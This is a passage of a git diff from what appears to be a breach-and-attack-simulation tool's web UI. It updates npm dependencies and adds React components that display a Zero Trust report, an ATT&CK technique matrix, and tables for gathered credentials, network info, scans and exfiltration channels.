"sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==" }, "spdy": { "version": "3.4.7", @@ -15339,7 +16194,6 @@ "version": "1.14.1", "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz", "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", - "dev": true, "requires": { "asn1": "~0.2.3", "assert-plus": "^1.0.0", @@ -15387,6 +16241,48 @@ "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, + "stdout-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", + "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", + "requires": { + "readable-stream": "^2.0.1" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, "stream-browserify": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", @@ -15565,7 +16461,6 @@ "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" @@ -15574,14 +16469,12 @@ "ansi-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=" }, "strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, "requires": { "ansi-regex": "^3.0.0" } @@ -15604,7 +16497,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, "requires": { "ansi-regex": "^2.0.0" } @@ -15619,7 +16511,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", - "dev": true, "requires": { "get-stdin": "^4.0.1" } @@ -15656,8 +16547,7 @@ "supports-color": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" }, "symbol-observable": { "version": "1.2.0", @@ -15721,6 +16611,16 @@ "integrity": "sha512-dQRhbNQkRnaqauC7WqSJ21EEksgT0fYZX2lqXzGkpo8JNig9zGZTYoMGvyI2nWmXlE2VSVXVDu7wLVGu/mQEsg==", "dev": true }, + "tar": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz", + "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==", + "requires": { + "block-stream": "*", + "fstream": "^1.0.12", + "inherits": "2" + } + }, "text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", @@ -15894,8 +16794,7 @@ "trim-newlines": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", - "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", - "dev": true + "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=" }, "trim-right": { "version": "1.0.1", @@ -15903,6 +16802,14 @@ "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", "dev": true }, + "true-case-path": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", + "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", + "requires": { + "glob": "^7.1.2" + } + }, "tslib": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz", @@ -15919,7 +16826,6 @@ "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, "requires": { "safe-buffer": "^5.0.1" } @@ -15928,7 +16834,6 @@ "version": "0.14.5", "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true, "optional": true }, "type-check": { @@ -16194,7 +17099,6 @@ "version": "4.2.2", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", - "dev": true, "requires": { "punycode": "^2.1.0" }, @@ -16202,8 +17106,7 @@ "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" } } }, @@ -16318,8 +17221,7 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, "util.promisify": { "version": "1.0.0", @@ -16376,7 +17278,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, "requires": { "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0" @@ -16397,7 +17298,6 @@ "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, "requires": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", @@ -18362,8 +19262,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -18406,8 +19305,7 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", @@ -18418,8 +19316,7 @@ "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -18536,8 +19433,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -18549,7 +19445,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -18566,20 +19461,18 @@ "dev": true, "optional": true, "requires": { - "brace-expansion": "1.1.11" + "brace-expansion": "^1.1.7" } }, "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -18598,7 +19491,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -18679,8 +19571,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -18692,7 +19583,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1" } @@ -18778,8 +19668,7 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -18815,7 +19704,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -18835,7 +19723,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -18879,14 +19766,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -19302,7 +20187,6 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", - "dev": true, "requires": { "isexe": "^2.0.0" } @@ -19313,6 +20197,14 @@ "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", "dev": true }, + "wide-align": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", + "requires": { + "string-width": "^1.0.2 || 2" + } + }, "window-size": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", @@ -19339,7 +20231,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "dev": true, "requires": { "string-width": "^1.0.1", "strip-ansi": "^3.0.1" @@ -19349,7 +20240,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, "requires": { "number-is-nan": "^1.0.0" } @@ -19358,7 +20248,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -19370,8 +20259,7 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" }, "write": { "version": "0.2.1", @@ -19414,14 +20302,12 @@ "y18n": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", - "dev": true + "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=" }, "yallist": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" }, "yargs": { "version": "3.10.0", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 8218b89ae..4da085836 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -6,6 +6,7 @@ "clean": "rimraf dist/*", "copy": "copyfiles -f ./src/index.html ./src/favicon.ico ./dist", "dist": "webpack --mode production", + "dev": "webpack --mode development", "lint": "eslint ./src", "posttest": "npm run lint", "release:major": "npm version major && npm publish && git push --follow-tags", @@ -52,9 +53,9 @@ "minimist": "^1.2.0", "mocha": "^5.2.0", "null-loader": "^0.1.1", - "open": "0.0.5", "phantomjs-prebuilt": "^2.1.16", "react-addons-test-utils": "^15.6.2", + "react-event-timeline": "^1.6.3", "react-hot-loader": "^4.3.11", "rimraf": "^2.6.2", "style-loader": "^0.22.1", @@ -64,15 +65,21 @@ "webpack-dev-server": "^3.1.9" }, "dependencies": { + "@emotion/core": "^10.0.10", + "@kunukn/react-collapse": "^1.0.5", "bootstrap": "3.4.1", + "classnames": "^2.2.6", "core-js": "^2.5.7", + "d3": "^5.11.0", "downloadjs": "^1.4.7", "fetch": "^1.1.0", + "file-saver": "^2.0.2", "filepond": "^4.2.0", "js-file-download": "^0.4.4", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", "moment": "^2.22.2", + "node-sass": "^4.11.0", "normalize.css": "^8.0.0", "npm": "^6.4.1", "prop-types": "^15.6.2", @@ -81,6 +88,7 @@ "react-bootstrap": "^0.32.4", "react-copy-to-clipboard": "^5.0.1", "react-data-components": "^1.2.0", + "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", "react-dom": "^16.5.2", "react-fa": "^5.0.0", @@ -90,11 +98,13 @@ "react-jsonschema-form": "^1.0.5", "react-redux": "^5.1.1", "react-router-dom": "^4.3.1", + "react-spinners": "^0.5.4", "react-table": "^6.8.6", "react-toggle": "^4.0.1", + "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", + "sass-loader": "^7.1.0", "sha3": "^2.0.0", - "react-spinners": "^0.5.4", - "@emotion/core": "^10.0.10" + "pluralize": "^7.0.0" } } diff --git a/monkey/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js index becb3e6db..ec9182cde 100644 --- a/monkey/monkey_island/cc/ui/server.js +++ b/monkey/monkey_island/cc/ui/server.js @@ -4,7 +4,6 @@ require('core-js/fn/object/assign'); const webpack = require('webpack'); const WebpackDevServer = require('webpack-dev-server'); const config = require('./webpack.config'); -const open = require('open'); /** * Flag indicating whether webpack compiled for the first time. diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 8229133e6..09038292e 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -7,13 +7,15 @@ import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; -import PassTheHashMapPage from 'components/pages/PassTheHashMapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; +import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; +import Notifier from "react-desktop-notification" + import 'normalize.css/normalize.css'; import 'react-data-components/css/table-twbs.css'; @@ -25,6 +27,9 @@ import VersionComponent from "./side-menu/VersionComponent"; let logoImage = require('../images/monkey-icon.svg'); let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); +let notificationIcon = require('../images/notification-logo-512x512.png'); + +const reportZeroTrustRoute = '/report/zero_trust'; class AppComponent extends AuthComponent { updateStatus = () => { @@ -50,6 +55,7 @@ class AppComponent extends AuthComponent { } if (isChanged) { this.setState({completedSteps: res['completed_steps']}); + this.showInfectionDoneNotification(); } }); } @@ -144,7 +150,7 @@ class AppComponent extends AuthComponent {
  • - + 4. Security Report {this.state.completedSteps.report_done ? @@ -152,6 +158,15 @@ class AppComponent extends AuthComponent { : ''}
  • +
  • + + 5. + Zero Trust Report + {this.state.completedSteps.report_done ? + + : ''} + +
  • @@ -186,7 +201,8 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} - {this.renderRoute('/report', )} + {this.renderRoute('/report/security', )} + {this.renderRoute(reportZeroTrustRoute, )} {this.renderRoute('/license', )} @@ -194,6 +210,26 @@ class AppComponent extends AuthComponent { ); } + + showInfectionDoneNotification() { + if (this.shouldShowNotification()) { + const hostname = window.location.hostname; + const port = window.location.port; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; + + Notifier.start( + "Monkey Island", + "Infection is done! Click here to go to the report page.", + url, + notificationIcon); + } + } + + shouldShowNotification() { + // No need to show the notification to redirect to the report if we're already in the report page + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report")); + } } AppComponent.defaultProps = {}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js new file mode 100644 index 000000000..2e7ef4fc3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -0,0 +1,119 @@ +import React from 'react'; +import Checkbox from '../ui-components/Checkbox' +import Tooltip from 'react-tooltip-lite' +import AuthComponent from '../AuthComponent'; +import ReactTable from "react-table"; +import 'filepond/dist/filepond.min.css'; +import '../../styles/Tooltip.scss'; +import {Col} from "react-bootstrap"; + +class MatrixComponent extends AuthComponent { + constructor(props) { + super(props); + this.state = {lastAction: 'none'} + }; + + // Finds which attack type has most techniques and returns that number + static findMaxTechniques(data){ + let maxLen = 0; + data.forEach(function(techType) { + if (Object.keys(techType.properties).length > maxLen){ + maxLen = Object.keys(techType.properties).length + } + }); + return maxLen + }; + + // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) + static parseTechniques (data, maxLen) { + let techniques = []; + // Create rows with attack techniques + for (let i = 0; i < maxLen; i++) { + let row = {}; + data.forEach(function(techType){ + let rowColumn = {}; + rowColumn.techName = techType.title; + + if (i <= Object.keys(techType.properties).length) { + rowColumn.technique = Object.values(techType.properties)[i]; + if (rowColumn.technique){ + rowColumn.technique.name = Object.keys(techType.properties)[i] + } + } else { + rowColumn.technique = null + } + row[rowColumn.techName] = rowColumn + }); + techniques.push(row) + } + return techniques; + }; + + getColumns(matrixData) { + return Object.keys(matrixData[0]).map((key)=>{ + return { + Header: key, + id: key, + accessor: x => this.renderTechnique(x[key].technique), + style: { 'whiteSpace': 'unset' } + }; + }); + } + + renderTechnique(technique) { + if (technique == null){ + return (
    ) + } else { + return ( + + {technique.title} + + ) + } + }; + + getTableData = (config) => { + let configCopy = JSON.parse(JSON.stringify(config)); + let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy)); + let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques); + let columns = this.getColumns(matrixTableData); + return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques} + }; + + renderLegend = () => { + return ( +
  • + + - Dissabled + + + + - Enabled + + + + - Mandatory + + ) + }; + + render() { + let tableData = this.getTableData(this.props.configuration); + return ( +
    + {this.renderLegend()} +
    + +
    +
    ); + } +} + +export default MatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js new file mode 100644 index 000000000..4d4f55dad --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -0,0 +1,57 @@ +import React from "react"; + +export function renderMachine(val){ + return ( + {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} + ) +} + +/* Function takes data gathered from system info collector and creates a + string representation of machine from that data. */ +export function renderMachineFromSystemData(data) { + let machineStr = data['hostname'] + " ( "; + data['ips'].forEach(function(ipInfo){ + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + ", "; + } else { + machineStr += ipInfo + ", "; + } + }); + // Replaces " ," with " )" to finish a list of IP's + return machineStr.slice(0, -2) + " )" +} + +/* Formats telemetry data that contains _id.machine and _id.usage fields into columns + for react table. */ +export function getUsageColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: { 'whiteSpace': 'unset' }, + width: 300}, + {Header: 'Usage', + id: 'usage', + accessor: x => x.usage, + style: { 'whiteSpace': 'unset' }}] + }])} + +/* Renders table fields that contains 'used' boolean value and 'name' string value. +'Used' value determines if 'name' value will be shown. + */ +export function renderUsageFields(usages){ + let output = []; + usages.forEach(function(usage){ + if(usage['used']){ + output.push(
    {usage['name']}
    ) + } + }); + return (
    {output}
    ); + } + +export const ScanStatus = { + UNSCANNED: 0, + SCANNED: 1, + USED: 2 +}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js new file mode 100644 index 000000000..24d742c14 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -0,0 +1,27 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import '../../report-components/security/StolenPasswords' +import StolenPasswordsComponent from "../../report-components/security/StolenPasswords"; +import {ScanStatus} from "./Helpers" + + +class T1003 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + + : ""} +
    + ); + } +} + +export default T1003; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js new file mode 100644 index 000000000..6d46c2285 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -0,0 +1,38 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {renderMachineFromSystemData, ScanStatus} from "./Helpers"; + +class T1005 extends React.Component { + + constructor(props) { + super(props); + } + + static getDataColumns() { + return ([{ + Header: "Sensitive data", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }}, + {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, + ]}])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1005; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js new file mode 100644 index 000000000..63e2bb4a5 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" + + +class T1016 extends React.Component { + + constructor(props) { + super(props); + } + + static getNetworkInfoColumns() { + return ([{ + Header: "Network configuration info gathered", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1016; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js new file mode 100644 index 000000000..dcf7687db --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -0,0 +1,48 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers" + + +class T1018 extends React.Component { + + constructor(props) { + super(props); + } + + static renderMachines(machines){ + let output = []; + machines.forEach(function(machine){ + output.push(renderMachine(machine)) + }); + return (
    {output}
    ); + } + + static getScanInfoColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, + {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1018; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js new file mode 100644 index 000000000..ce8688af1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1021 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + static renderCreds(creds) { + return {creds.map(cred =>
    {cred}
    )}
    + }; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1021; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js new file mode 100644 index 000000000..7345ca497 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1035 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.services.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1035; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js new file mode 100644 index 000000000..3d6b45d08 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -0,0 +1,37 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {ScanStatus} from "./Helpers"; + +class T1041 extends React.Component { + + constructor(props) { + super(props); + } + + static getC2Columns() { + return ([{ + Header: "Data exfiltration channels", + columns: [ + {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }}, + {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }} + ]}])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
